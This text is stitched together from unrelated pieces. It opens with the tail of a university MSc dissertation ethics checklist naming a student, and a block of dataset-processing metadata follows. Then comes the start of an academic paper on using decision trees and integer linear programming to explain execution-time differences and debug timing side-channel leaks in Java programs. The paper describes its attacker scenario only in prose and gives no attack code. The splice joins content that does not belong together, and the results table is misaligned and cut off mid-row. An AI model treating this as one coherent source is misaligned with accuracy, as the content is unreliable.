Investigators have a responsibility to protect participants from physical and mental harm during the investigation. The risk of harm must be no greater than in ordinary life. Areas of potential risk that require ethical approval include, but are not limited to, investigations that occur outside usual laboratory areas, or that require participant mobility (e.g. walking, running, use of public transport), unusual or repetitive activity or movement, that use sensory deprivation (e.g. ear plugs or blindfolds), bright or flashing lights, loud or disorienting noises, smell, taste, vibration, or force feedback.
2. The experimental materials were paper-based, or comprised software running on standard hardware.
Participants should not be exposed to any risks associated with the use of non-standard equipment: anything other than pen-and-paper, standard PCs, mobile phones, and PDAs is considered non-standard.
3. All participants explicitly stated that they agreed to take part, and that their data could be used in the project.
If the results of the evaluation are likely to be used beyond the term of the project (for example, the software is to be deployed, or the data is to be published), then signed consent is necessary. A separate consent form should be signed by each participant.
Otherwise, verbal consent is sufficient, and should be explicitly requested in the introductory script.
4. No incentives were offered to the participants.
The payment of participants must not be used to induce them to risk harm beyond that which they risk without payment in their normal lifestyle.
5. No information about the evaluation or materials was intentionally withheld from the participants.
Withholding information or misleading participants is unacceptable if participants are likely to object or show unease when debriefed.
6. No participant was under the age of 16.
Parental consent is required for participants under the age of 16.
7. No participant has an impairment that may limit their understanding or communication.
Additional consent is required for participants with impairments.
8. Neither I nor my supervisor is in a position of authority or influence over any of the participants.
A position of authority or influence over any participant must not be allowed to pressurise participants to take part in, or remain in, any experiment.
9. All participants were informed that they could withdraw at any time.
All participants have the right to withdraw at anytime during the investigation. They should be told this in the introductory script.
10. All participants have been informed of my contact details.
All participants must be able to contact the investigator after the investigation. They should be given the details of both student and module co-ordinator or supervisor as part of the debriefing.
11. The evaluation was discussed with all the participants at the end of the session, and all participants had the opportunity to ask questions.
The student must provide the participants with sufficient information in the debriefing to enable them to understand the nature of the investigation.
12. All the data collected from the participants is stored in an anonymous form.
All participant data (hard-copy and soft-copy) should be stored securely, and in anonymous form.
Module and Assessment Name MSc Development Project for IT+ Dissertation
Student’s Name Ventsislav Antov
Student’s Registration Number 2504299a
Student’s Signature
Date 26.08.2020
|
{"Source-Url": "https://www.dcs.gla.ac.uk/~ornela/projects/Vince%20Antov.pdf", "len_cl100k_base": 16238, "olmocr-version": "0.1.50", "pdf-total-pages": 36, "total-fallback-pages": 0, "total-input-tokens": 94247, "total-output-tokens": 18368, "length": "2e13", "weborganizer": {"__label__adult": 0.0013866424560546875, "__label__art_design": 0.00563812255859375, "__label__crime_law": 0.001102447509765625, "__label__education_jobs": 0.05322265625, "__label__entertainment": 0.0004401206970214844, "__label__fashion_beauty": 0.0014066696166992188, "__label__finance_business": 0.0015745162963867188, "__label__food_dining": 0.0019683837890625, "__label__games": 0.00370025634765625, "__label__hardware": 0.00513458251953125, "__label__health": 0.016876220703125, "__label__history": 0.0006704330444335938, "__label__home_hobbies": 0.001822471618652344, "__label__industrial": 0.0013370513916015625, "__label__literature": 0.0015573501586914062, "__label__politics": 0.0005502700805664062, "__label__religion": 0.0019102096557617188, "__label__science_tech": 0.039093017578125, "__label__social_life": 0.0006685256958007812, "__label__software": 0.0262451171875, "__label__software_dev": 0.79443359375, "__label__sports_fitness": 0.037139892578125, "__label__transportation": 0.0015497207641601562, "__label__travel": 0.0008053779602050781}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 76389, 0.02621]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 76389, 0.11014]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 76389, 0.93816]], "google_gemma-3-12b-it_contains_pii": [[0, 283, false], [283, 1514, null], [1514, 1715, null], [1715, 1946, null], [1946, 1946, null], [1946, 2290, null], [2290, 4242, null], [4242, 7607, null], [7607, 10423, null], [10423, 12583, null], [12583, 16162, null], [16162, 18137, null], [18137, 20813, null], [20813, 24327, null], [24327, 26836, null], [26836, 30342, null], [30342, 33644, null], [33644, 33996, null], [33996, 36901, null], [36901, 39692, null], [39692, 42455, null], [42455, 44684, null], [44684, 47196, null], [47196, 48833, null], [48833, 51577, null], [51577, 53180, null], [53180, 55237, null], [55237, 57824, null], [57824, 58781, null], [58781, 60777, null], [60777, 62403, null], [62403, 64792, null], [64792, 68931, null], [68931, 71986, null], [71986, 74470, null], [74470, 76389, null]], "google_gemma-3-12b-it_is_public_document": [[0, 283, true], [283, 1514, null], [1514, 1715, null], [1715, 1946, null], [1946, 1946, null], [1946, 2290, null], [2290, 4242, null], [4242, 7607, null], [7607, 10423, null], [10423, 12583, null], [12583, 16162, null], [16162, 18137, null], [18137, 20813, null], [20813, 24327, null], [24327, 26836, null], [26836, 30342, null], [30342, 33644, null], [33644, 33996, null], [33996, 36901, null], [36901, 39692, null], [39692, 42455, null], [42455, 44684, null], [44684, 47196, null], [47196, 48833, null], [48833, 51577, null], [51577, 53180, null], [53180, 55237, null], [55237, 57824, null], [57824, 58781, null], [58781, 60777, null], [60777, 62403, null], [62403, 64792, null], [64792, 68931, null], [68931, 71986, null], [71986, 74470, null], [74470, 76389, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 76389, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 76389, null]], "pdf_page_numbers": [[0, 283, 1], [283, 1514, 2], [1514, 1715, 3], [1715, 1946, 4], [1946, 1946, 5], [1946, 2290, 6], [2290, 4242, 7], [4242, 7607, 8], [7607, 10423, 9], [10423, 12583, 10], [12583, 16162, 11], [16162, 18137, 12], [18137, 20813, 13], [20813, 24327, 14], [24327, 26836, 15], [26836, 30342, 16], [30342, 33644, 17], [33644, 33996, 18], [33996, 36901, 19], [36901, 39692, 20], [39692, 42455, 21], [42455, 44684, 22], [44684, 47196, 23], [47196, 48833, 24], [48833, 51577, 25], [51577, 53180, 26], [53180, 55237, 27], [55237, 57824, 28], [57824, 58781, 29], [58781, 60777, 30], [60777, 62403, 31], [62403, 64792, 32], [64792, 68931, 33], [68931, 71986, 34], [71986, 74470, 35], [74470, 76389, 36]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 76389, 0.15865]]}
|
olmocr_science_pdfs
|
2024-11-28
|
2024-11-28
|
2f072956a444336664d9d074c817b5feea5bc4e6
|
Discriminating Traces with Time
Saeid Tizpaz-Niari, Pavol Černý, Bor-Yuh Evan Chang, Sriram Sankaranarayanan, and Ashutosh Trivedi
University of Colorado Boulder, Boulder, USA
{saeid.tizpazniari,pavol.cerny,evan.chang,srirams,ashutosh.trivedi}@colorado.edu
Abstract. What properties about the internals of a program explain the possible differences in its overall running time for different inputs? In this paper, we propose a formal framework for considering this question we dub trace-set discrimination. We show that even though the algorithmic problem of computing maximum likelihood discriminants is NP-hard, approaches based on integer linear programming (ILP) and decision tree learning can be useful in zeroing-in on the program internals. On a set of Java benchmarks, we find that compactly-represented decision trees scalably discriminate with high accuracy—more scalably than maximum likelihood discriminants and with comparable accuracy. We demonstrate on three larger case studies how decision-tree discriminants produced by our tool are useful for debugging timing side-channel vulnerabilities (i.e., where a malicious observer infers secrets simply from passively watching execution times) and availability vulnerabilities.
1 Introduction
Different control-flow paths in a program can have varying execution times. Such observable differences in execution times may be explainable by information about the program internals, such as whether or not a given function or functions were called. How can a software developer (or security analyst) determine what internals may or may not explain the varying execution times of the program? In this paper, we consider the problem of helping developers and analysts to identify such explanations.
We identify a core problem for this task—the trace-set discrimination problem. Given a set of execution traces with observable execution times binned (or clustered) into a finite set of labels, a discriminant (or classifier) is a map relating each label to a property (i.e., a Boolean formula) satisfied by the traces assigned to that label. Such a discriminant model can then be used, for example, to predict a property satisfied by some trace given the timing label of that trace.
This problem is, while related, different than the profiling problem. In performance profiling, the question is given an execution trace, how do the various parts of the program contribute to the overall execution time? The trace-set discrimination problem, in contrast, looks for distinguishing features among multiple traces that result in varying execution times.
This research was supported by DARPA under agreement FA8750-15-2-0096.
© Springer-Verlag GmbH Germany 2017
DOI: 10.1007/978-3-662-54580-5_2
Crucially, once we can explain the timing differences in terms of properties of traces (e.g., what functions are called only in traces with long execution time), the analyst can use the explanation to diagnose the possible timing side-channel and potentially find a fix for the vulnerability. Section 2 shows on an example how a security analyst might use the tool for debugging information leaks.
In this paper, we consider the discriminating properties of traces to be Boolean combinations of a given set of atomic predicates. These atomic predicates correspond to actions that can be observed through instrumentation in a training set of execution traces. Examples of such predicates are as follows: (1) Does the trace have a call to the function \( f \) in the program? (2) Does the trace have a call to the \texttt{sort} function with an array of more than a 1000 numbers? In our case study, we consider atomic predicates corresponding to the number of times each function is called.
Concretely, our overall approach is to first obtain a set of execution traces with information recorded to determine the satisfiability of the given atomic predicates along with corresponding execution times. Then, we cluster these training traces based on their overall execution times to bin them into timing labels. Finally, we learn a trace-set discriminant model from these traces (using various techniques) to capture what is common amongst the traces with the same timing labels and what is different between traces with different labels.
In particular, we make the following contributions:
- We formalize the problem of \textit{trace-set discrimination} with timing differences and show that the algorithmic problem of finding the maximum likelihood conjunctive discriminant is NP-hard (Sect. 3).
- We describe two methods for learning trace-set discriminants: (1) a direct method for inferring the maximum likelihood conjunctive discriminant using an encoding into integer linear programming (ILP) and (2) by applying decision tree learning that each offer different trade-offs (Sect. 4). For instance, decision tree algorithms are designed to tolerate noisy labels and work effectively on large data sets but do not have formal guarantees. On a set of microbenchmarks, we find that the methods have similar accuracy but decision tree learning appears more scalable.
- We present three case studies in identifying and debugging timing side-channel and availability vulnerabilities, armed with a prototype tool \textsc{discriminer} that performs label clustering and decision tree-discriminant learning (Sect. 5). These case studies were conducted on medium-sized Java applications, which range in size from approximately 300 to 3,000 methods and were developed by a third party vendor as challenge problems for identifying and debugging such side-channel vulnerabilities. We show that the decision trees produced by \textsc{discriminer} are useful for explaining the timing differences amongst trace sets and performing this debugging task.
In our approach, we need to execute both an instrumented and an uninstrumented version of the program of interest on the same inputs. This is because a trace of the instrumented program is needed to determine the satisfiability of the atomic predicates, while the execution time of interest is for the uninstrumented
program. Therefore we need to assume that the program is deterministic. Since timing observations are noisy due to many sources of non-determinism, each trace is associated with a distribution over the labels. For instance, a trace may have a label $\ell_1$ with probability 0.9 and label $\ell_2$ with probability 0.1.
Like with profiling, we also assume the test inputs that drive the program of interest to expose interesting behavior are given. It is a separate problem to get such interesting inputs: whether the analyst has logged some suspicious inputs from a deployment or whether the developer generates tests using random or directed test-case generation.
2 Timing Side-Channel Debugging with DISCRIMINER
In this section, we demonstrate by example how DISCRIMINER can be useful in identifying timing side-channel vulnerabilities and suggesting ways to fix them. We use an application called SnapBuddy\(^1\) as an example. SnapBuddy is a Java application with 3,071 methods, implementing a mock social network in which each user has their own page with a photograph.
Identifying a Timing Side-Channel with Clustering. The analyst interacts with the application by issuing download requests to the pages of various users to record execution times. Figure 1 shows a scatter plot of the running times of various traces with each trace represented by a point in the figure. The running times are clustered into 6 different clusters using a standard $k$-means clustering algorithm and shown using different colors. We see that for some users, the download times were roughly 15 s, whereas for some others they were roughly 7.5 s. This significant time differential suggests a potential timing side-channel if the difference can be correlated with sensitive program state and thus this differential should be investigated further with DISCRIMINER.
To see how such a time differential could be a timing side-channel, let us consider an attacker that (a) downloads the public profile pages of all users and learns each download time, and (b) can observe timing between packets by sniffing the network traffic between legitimate users. If the attacker observes user Alice downloading the page of another user whose identity is supposed to be a secret and sees that the download took approximately 7.5 s, the attacker can infer that Alice downloaded the page of one of the six users corresponding to the six squares (with time close to 7.5 s) in Fig. 1. The timing information leak thus helped the attacker narrow down the possibilities from hundreds of users to six.
Debugging Timing Side-Channels with Decision Tree Learning. How can the analyst go about debugging the SnapBuddy application to eliminate this timing side-channel? We show how DISCRIMINER can help. Recall that the analyst downloaded pages of all the users. Now the same download queries are executed over an instrumented version of the SnapBuddy server to record the
\(^1\) From DARPA STAC (www.darpa.mil/program/space-time-analysis-for-cybersecurity).
number of times each method in the application is called by the trace. As a result, we obtain a set of traces with their (uninstrumented) overall running times and set of corresponding method calls.
Then DISCRIMINER uses the standard CART decision tree learning algorithm [5] to infer a decision tree that succinctly represents a discriminant using atomic predicates that characterize whether or not the trace invoked a particular method (shown in Fig. 2). For instance, the cluster representing the longest running time (around 15s) is discriminated by the property \texttt{snapservice.model.Filter.filter} \land \texttt{image.OilFilter.filterPixels}, indicating that the two methods are both invoked by the trace. Likewise, the cluster representing the running time around 7.5s is discriminated by the property \texttt{snapservice.model.Filter.filter} \land \neg \texttt{image.OilFilter.filterPixels} \land \texttt{image.ChromeFilter.filter}, indicating that \texttt{image.OilFilter.filterPixels} must not be invoked while the other two must be.
The analyst might now suspect what is going on: the timing differences are caused by the filters that each user chooses to apply to their picture. Note that the analyst running DISCRIMINER did not need to know that the filters are important for causing this time differential, or even that they existed. The tool discovers them simply because the trace contains all method calls, and the decision tree learning algorithm produces a useful discriminant.
A possible fix now suggests itself: make sure that the execution of each type of filter takes the same amount of time (though of course an implementation of such a fix still requires development effort). Overall, the example demonstrates how the decision tree produced by DISCRIMINER can be used to debug (and potentially fix) side-channel vulnerabilities.
### 3 Trace-Set Discrimination Problem
A discrete probability distribution, or just distribution, over a finite set \( L \) is a function \( d : L \to [0, 1] \) such that \( \sum_{\ell \in L} d(\ell) = 1 \). Let \( D(L) \) denote the set of all discrete distributions over \( L \).
Let $p_1, \ldots, p_m$ represent a set of atomic predicates over traces. Each predicate evaluates to a Boolean value over a given trace. Therefore, for simplicity, we represent a trace simply by the truth valuations of the predicates over the trace. In addition to atomic predicates, traces are associated with a distribution over labels. These distributions are generated by first measuring the execution time $t$ of the trace. The execution time is obtained as the average over some fixed number of measurements $M > 0$. Therefore, the timing is taken to be a Gaussian random variable with mean $t$ and a standard deviation $\sigma_t$. Using this information, we derive a discrete distribution $d \in D(L)$ over the set of labels in $L$.
**Definition 1 (Traces, Predicates and Label Distributions).** An execution trace $T$ of the program is a tuple $\langle \tau, d \rangle$ wherein $\tau = \langle \rho_1, \ldots, \rho_m \rangle$ represents the truth valuations to the predicates $p_1, \ldots, p_m$, respectively and $d \in D(L)$ is the associated label distribution over the finite set of labels $L$.
We define a trace discriminant as a tuple of Boolean formulae that predict the labels of the traces given the truth valuations in the following fashion.
**Definition 2.** Given a set of labels $L = \{\ell_1, \ldots, \ell_K\}$ and predicates $P = \{p_1, \ldots, p_m\}$, a discriminant $\Psi$ is a tuple $\langle \varphi_1, \ldots, \varphi_K \rangle$ of Boolean formulae where each formula $\varphi_i$ is over the predicates in $P$ and corresponds to a label $\ell_i$.
A trace $\langle \tau, d \rangle$ receives a label $\ell_k$ under trace discriminant $\Psi = \langle \varphi_1, \ldots, \varphi_K \rangle$, and we write $\text{LABEL}(\langle \tau, d \rangle, \Psi) = \ell_k$, if $k$ is the smallest index $1 \leq i \leq K$ such that $\tau \models \varphi_i$, i.e. $\varphi_i$ evaluates to true for the truth valuation $\tau$. Formally,
$$\text{LABEL}(\langle \tau, d \rangle, \Psi) = \begin{cases}
\ell_1 & \text{if } \tau \models \varphi_1, \text{ else} \\
\ell_2 & \text{if } \tau \models \varphi_2, \text{ else} \\
& \vdots \\
\ell_K & \text{if } \tau \models \varphi_K.
\end{cases}$$
**Definition 3.** Given a set of predicates $\{p_1, \ldots, p_m\}$, set of labels $\{\ell_1, \ldots, \ell_K\}$, and a set of traces $\{\langle \tau_1, d_1 \rangle, \ldots, \langle \tau_N, d_N \rangle\}$, the trace set discriminant problem (TDLP) is to learn a trace discriminant $\Psi = \langle \varphi_1, \ldots, \varphi_K \rangle$.
In general, there are numerous possible discriminants that can be inferred for a given instance of the TDLP. We consider two approaches in this paper: (a) a formal maximum likelihood learning model over a structured set of discriminants and (b) an informal decision tree learning approach to maximize accuracy while minimizing the discriminant size.
### 3.1 Maximum Likelihood Learning
Given a discriminant and a set of traces, we define the likelihood of the discriminant as the probability that each trace $\langle \tau_i, d_i \rangle$ receives the label $\text{LABEL}(\langle \tau_i, d_i \rangle, \Psi)$ dictated by the discriminant.
Definition 4. The likelihood $\lambda(\Psi)$ of a discriminant $\Psi$ over a set of traces $\{\langle \tau_1, d_1 \rangle, \ldots, \langle \tau_N, d_N \rangle\}$ is given by $\lambda(\Psi) = \prod_{i=1}^N d_i (\text{LABEL}(\langle \tau_i, d_i \rangle, \Psi))$.
The maximum likelihood discriminant $\Psi_{ml}$ is defined as the discriminant amongst all possible Boolean formulae that maximizes $\lambda(\Psi)$, i.e., $\Psi_{ml} = \arg\max_\Psi (\lambda(\Psi))$. This maximization runs over the all possible tuples of $K$ Boolean formulae over $m$ atomic predicates, i.e., a space of $(K!)(2^m)^K$ possible discriminants! In particular, Hyafil and Rivest [10] show that the problem of learning optimal decision trees is NP-hard. Therefore, for our formal approach, we consider the following simpler class of discriminants by restricting the form of the Boolean formulae $\phi_j$ that make up the discriminants to monotone conjunctive formulae.
Definition 5 (Conjunctive Discriminants). A monotone conjunctive formula over predicates $P = \{p_1, \ldots, p_n\}$ is a finite conjunction of the form $\land_{i=1}^r p_{i_j}$ such that $1 \leq i_1, \ldots, i_r \leq m$. A discriminant $\Psi = (\varphi_1, \ldots, \varphi_K)$ is a (monotone) conjunctive discriminant if each $\varphi_i$ is a monotone conjunctive formula for $1 \leq i \leq K$. In order to make a traces discriminant exhaustive, we assume $\varphi_K$ to be the formula $\text{true}$.
The number of conjunctive discriminants is $(K-1)!\left(\binom{2^m}{K-1}\right)$. However, they can be easily represented and learned using SAT or ILP solvers, as shown subsequently. Moreover, working with simpler monotone conjunctive discriminants is preferable [7] in the presence of noisy data, as using formal maximum likelihood model to learn arbitrary complex Boolean function would lead to over-fitting. The problem of maximum likelihood conjunctive discriminant is then naturally defined. We refine the result of [10] in our context to show that the problem of learning (monotone) conjunctive discriminants is already NP-hard.
Theorem 1. Given an instance of TDLP, the problem of finding the maximum likelihood conjunctive discriminant is NP-hard.
Proof. We prove the NP-hardness of the problem of finding maximum likelihood conjunctive discriminant by giving a reduction from the minimum weight monotone SAT problem that is already known to be NP-hard. Recall that a monotone Boolean formula is propositional logic formula where all the literals are positive. Given a monotone instance of SAT $\phi = \land_{j=1}^n C_j$ over the set of variable $X = \{x_1, \ldots, x_m\}$, the minimum weight monotone SAT problem is to find a truth assignment satisfying $\phi$ with as few variables set to $\text{true}$ as possible.
Consider the trace-set discrimination problem $P_\phi$ where there is one predicate $p_i$ per variable $x_i \in X$ of $\phi$, two labels $\ell_1$ and $\ell_2$, and the set of traces such that
- there is one trace $\langle \tau_j, d_j \rangle$ per clause $C_j$ of $\phi$ such that predicate $p_i$ evaluates to true in the trace $\tau_j$ if variable $x_i$ does not occur in clause $C_j$, and the label distribution $d_j$ is such that $d_j(\ell_1) = 0$ and $d_j(\ell_2) = 1$.
- there is one trace $\langle \tau^i, d^i \rangle$ per variable $x_i$ of $\phi$ such that only the predicate $p_i$ evaluates to false in the trace $\tau^i$ and the label distribution $d^i$ is such that $d^i(\ell_1) = 1 - \varepsilon$ and $d^i(\ell_2) = \varepsilon$ where $0 < \varepsilon < \frac{1}{2}$.
Observe that for every truth assignment \((x_1^*, \ldots, x_m^*)\) to variables in \(X\), there is a conjunctive discriminant \(\wedge x_i^* p_i\) such that if the clause \(C_j\) is satisfied then the trace \(\langle \tau_j, d_j \rangle\) receives the label \(\ell_2\). This implies that the likelihood of the discriminant is non-zero only for the discriminant corresponding to satisfying valuations of \(\phi\). Moreover, for every variable \(x_i\) receiving a true assignment, the trace \(\langle \tau^i, d^i \rangle\) receives the label \(\ell_2\) with \(\varepsilon\) contributed to the likelihood term and for every variable \(x_i\) receiving false assignment, the trace \(\langle \tau^i, d^i \rangle\) receives the label \(\ell_1\) with \(1 - \varepsilon\) being contributed to the likelihood. This construction implies that a maximum likelihood discriminant should give label \(\ell_2\) to all of the traces \(\langle \tau_j, d_j \rangle\) and label \(\ell_1\) to as many traces in \(\{\tau^i, d^i\}\) as possible. It is easy to verify that there exists a truth assignment of size \(k\) for \(\phi\) if and only if there exists a conjunctive discriminant in \(P_\phi\) with likelihood \(\prod_{i=1}^k \varepsilon \cdot \prod_{i=1}^{m-k} (1 - \varepsilon)\).
### 3.2 Decision Tree Learning
As noted earlier, the max likelihood approach over structured Boolean formulae can be prohibitively expensive when the number of traces, predicates and labels are large. An efficient alternative is to consider decision tree learning approaches that can efficiently produce accurate discriminants while keeping the size of the discriminant as small as possible. The weighted accuracy of a discriminant \(\Psi\) over traces \(\langle \tau_i, d_i \rangle, i = 1, \ldots, N\) is defined additively as
\[
\alpha(\Psi) = \frac{1}{N} \sum_{i=1}^{N} d_i (\text{LABEL}(\langle \tau_i, d_i \rangle, \Psi)).
\]
This accuracy is a fraction between \([0, 1]\) with higher accuracy representing a better discriminant.
A decision tree learning algorithm seeks to learn a discriminant as a decision tree over the predicates \(p_1, \ldots, p_m\) and outcome labels \(\ell_1, \ldots, \ell_K\). Typically, algorithms will maximize \(\alpha(\Psi)\) while keeping the description length \(|\Psi|\) as small as possible. A variety of efficient tree learning algorithms have been defined including ID3 [15], CART [5], CHAID [11] and many others [14,18]. These algorithms have been supported by popular machine learning tools such as Scikit-learn python library (http://scikit-learn.org/stable/) and RapidMiner [2].
### 4 Discriminant Analysis
In this section, we provide details of max likelihood and decision tree approaches, and compare their performances over a scalable set of micro-benchmarks.
#### 4.1 Maximum Likelihood Approach
We now present an approach for inferring a conjunctive discriminant \(\Psi\) using integer linear programming (ILP) that maximizes the likelihood \(\lambda(\Psi)\) for given predicates \(p_1, \ldots, p_m\), labels \(\ell_1, \ldots, \ell_K\) and traces \(\langle \tau_1, d_1 \rangle, \ldots, \langle \tau_N, d_N \rangle\). This problem was already noted to be NP-hard in Theorem 1.
We first present our approach for the special case of \(K = 2\) labels. Let \(\ell_1, \ell_2\) be the two labels. Our goal is to learn a conjunctive formula \(\varphi_1\) for \(\ell_1\). We use binary decision variables \(x_1, \ldots, x_m\) wherein \(x_i = 1\) denotes that \(\varphi_1\) has the predicate
$p_i$ as a conjunct, whereas $x_i = 0$ denotes that $p_i$ is not a conjunct in $\varphi_1$. Also we add binary decision variables $w_1, \ldots, w_N$ corresponding to each of the $N$ traces, respectively. The variable $w_i = 1$ denotes that the trace $\langle \tau_i, d_i \rangle$ receives label $\ell_2$ under $\varphi_1$ and $w_i = 0$ indicates that the trace receives label $\ell_1$. The likelihood of the discriminant $\Psi$ can be given as $\lambda(\Psi) \overset{\text{def}}{=} \prod_{i=1}^{N} \left\{ d_i(\ell_1) \text{ if } w_i = 0, \quad d_i(\ell_2) \text{ if } w_i = 1 \right\}$. Rather than maximize $\lambda(\Psi)$, we equivalently maximize $\log(\lambda(\Psi))$
$$\log(\lambda(\Psi)) = \sum_{i=1}^{N} \left\{ \log(d_i(\ell_1)) \text{ if } w_i = 0, \quad \log(d_i(\ell_2)) \text{ if } w_i = 1 \right\}.$$
Let $r_i := d_i(\ell_1) = 1 - d_i(\ell_2)$, and simplify the expression for $\log(\lambda(\Psi))$ as $\sum_{i=1}^{N} (1 - w_i) \log(r_i) + w_i \log(1 - r_i)$.
Next, the constraints need to relate the values of $x_i$ to each $w_i$. Specifically, let for each trace $\langle \tau_i, d_i \rangle$, $R_i \subseteq \{ p_1, \ldots, p_m \}$ denote the predicates that are valued $\text{false}$ in the trace. We can verify that if $w_i = 0$, then none of the predicates in $R_i$ can be part of $\varphi_1$, and if $w_i = 1$, at least one of the predicates in $R_i$ must be part of $\varphi_1$. This is expressed by the following inequality $\frac{1}{|R_i|} (\sum_{p_k \in R_i} x_k) \leq w_i \leq \sum_{p_k \in R_i} x_k$. If any of the $p_k \in R_i$ is included in the conjunction, then the LHS of the inequality is at least $\frac{1}{|R_i|}$, forcing $w_i = 1$. Otherwise, if all $p_k$ are not included, the RHS of the inequality is 0, forcing $w_i = 0$.
The overall ILP is given by
$$\max \sum_{i=1}^{N} (1 - w_i) \log(r_i) + w_i \log(1 - r_i)$$
s.t. $\frac{1}{|R_i|} (\sum_{p_k \in R_i} x_k) \leq w_i \quad i = 1, \ldots, N$
$w_i \leq \sum_{p_k \in R_i} x_k \quad i = 1, \ldots, N$
$x_j \in \{0, 1\}, \quad w_i \in \{0, 1\} \quad i = 1, \ldots, N, \quad j = 1, \ldots, m$ (1)
**Theorem 2.** Let $x_1^*, \ldots, x_m^*$ denote the solution for ILP (1) over a given TDLP instance with labels $\{\ell_1, \ell_2\}$. The discriminant $\Psi = \langle \varphi_1, \text{true} \rangle$ wherein $\varphi_1 = \bigwedge_{x_i^*=1} p_i$ maximizes the likelihood $\lambda(\Psi)$ over all conjunctive discriminants.
With the approach using the ILP in Eq. (1), we can tackle an instance with $K > 2$ labels by recursively applying the two label solution. First, we learn a formula $\varphi_1$ for $\ell_1$ and $L \setminus \ell_1$. Next, we eliminate all traces that satisfy $\varphi_1$ and eliminate the label $\ell_1$. We then recursively consider $\bar{L} : L \setminus \ell_1$ as the new label set. Doing so, we obtain a discriminant $\Psi : \langle \varphi_1, \varphi_2, \ldots, \varphi_{K-1}, \text{true} \rangle$.
In theory, the ILP in (1) has $N + m$ variables, which can be prohibitively large. However, for the problem instances considered, we drastically reduced the problem size through standard preprocessing/simplification steps that allowed us to resolve the values of $x_i, w_j$ for many of the variables to constants.
### 4.2 Decision Tree Learning Approach
In order to discriminate traces, DISCRIMINER employs decision tree learning to learn classifiers that discriminate the traces. Given a set of $N$ traces on a
dependent variable (labels) $L$ that takes finitely-many values in the domain \{${\ell}_1, \ldots, {\ell}_K$\} and $m$ feature variables (predicates) $F = \{f_1, \ldots, f_m\}$, the goal of a classification algorithm is to produce a partition the space of the feature variables into $K$ disjoint sets $A_1, \ldots, A_K$ such that the predicted value of $L$ is $i$ if the $F$-variables take value in $A_i$. Decision-tree methods yield rectangular sets $A_i$ by recursively partitioning the data set one $F$ variable at a time. CART (Classification and Regression Trees) is a popular and effective algorithm to learn decision-tree based classifiers. It constructs binary decision trees by iteratively exploring features and thresholds that yield the largest information gain (Gini index) at each node. For a detailed description of the CART, we refer to [5].
4.3 Performance Evaluation
We created a set of micro-benchmarks—containing a side-channel in time—to evaluate the performance of the decision-tree discriminator computed using scikit-learn implementation of CART and the maximum likelihood conjunctive discriminant using an ILP implementation from the GLPK library.
These micro-benchmarks consist of a set of programs that take as an input a sequence of binary digits (say a secret information), and perform some computation whose execution time (enforced using sleep commands) depends on some property of the secret information. For the micro-benchmark series LSB0 and MSB0, the execution time is a Gaussian-distributed random variable whose mean is proportional to the position of least significant 0 and most significant 0 in the secret, respectively. In addition, we have a micro-benchmark series Pat$_d$ whose execution time is a random variable whose mean depends upon the position of the pattern $d$ in the input. For instance, the micro-benchmark Pat$_{101}$ takes a 20-bit input data and the leftmost occurrence $i$ of the pattern 101 executes three methods $F_i, F_{i+1}, F_{i+2}$ with mean exec. time of a method $F_j$ being $10^j \times j$ ms.
In our experiments with micro-benchmarks, we generate the dataset by randomly generating the input. For each input, we execute the benchmark programs 10 times to approximate the mean and the standard deviation of the observation, and log the list of method called for each such input. For a given set of execution traces, we cluster the execution time based on their mean and assign weighted labels to each trace according to Gaussian distribution. We defer the details of this data collection to Sect. 5. Our dataset consists of trace id, label, weight, and method calls for every execution trace. We use this common dataset to both the decision-tree and the maximum likelihood algorithms.
Table 1 shows the performance of the decision-tree classifiers and the maximum likelihood approach for given micro-benchmarks. The table consists of benchmark scales (based on the number of methods and traces), the accuracy of approaches, time of computing decision tree and max-likelihood discriminant, the height of decision tree, and the maximum number of conjuncts among all learned discriminants in the max-likelihood approach. In order to compute the performance of both models and avoid overfitting, we train and test data sets using group $k$-fold cross-validation procedure with $k$ set to 20.
Table 1. Micro-benchmark results for decision-tree discriminators learned using decision tree and the max-likelihood approach. Legend: \#M: number of methods, \#N: number of traces, T: computation time in seconds, A: accuracy, H: decision-tree height, M: max. discriminant size (Max. # of conjuncts in discriminants), $\epsilon < 0.1$ sec.
<table>
<thead>
<tr>
<th>Benchmark ID</th>
<th>#M</th>
<th>#N</th>
<th>Decision tree</th>
<th>Max-likelihood</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>T</td>
<td>A</td>
<td>H</td>
<td>T</td>
</tr>
<tr>
<td>LSB0</td>
<td>10</td>
<td>188</td>
<td>$\epsilon$ 100%</td>
<td>7</td>
</tr>
<tr>
<td>MSB0</td>
<td>10</td>
<td>188</td>
<td>$\epsilon$ 100%</td>
<td>7</td>
</tr>
<tr>
<td>Pat_{101}</td>
<td>20</td>
<td>200</td>
<td>$\epsilon$ 100%</td>
<td>13</td>
</tr>
<tr>
<td>Pat_{1010}</td>
<td>50</td>
<td>500</td>
<td>$\epsilon$ 98.4%</td>
<td>22</td>
</tr>
<tr>
<td>Pat_{10111}</td>
<td>80</td>
<td>800</td>
<td>0.1 97.8%</td>
<td>37</td>
</tr>
<tr>
<td>Pat_{10101}</td>
<td>100</td>
<td>1000</td>
<td>0.2 92.9%</td>
<td>43</td>
</tr>
<tr>
<td>Pat_{10011}</td>
<td>150</td>
<td>1500</td>
<td>0.5 89.2%</td>
<td>44</td>
</tr>
<tr>
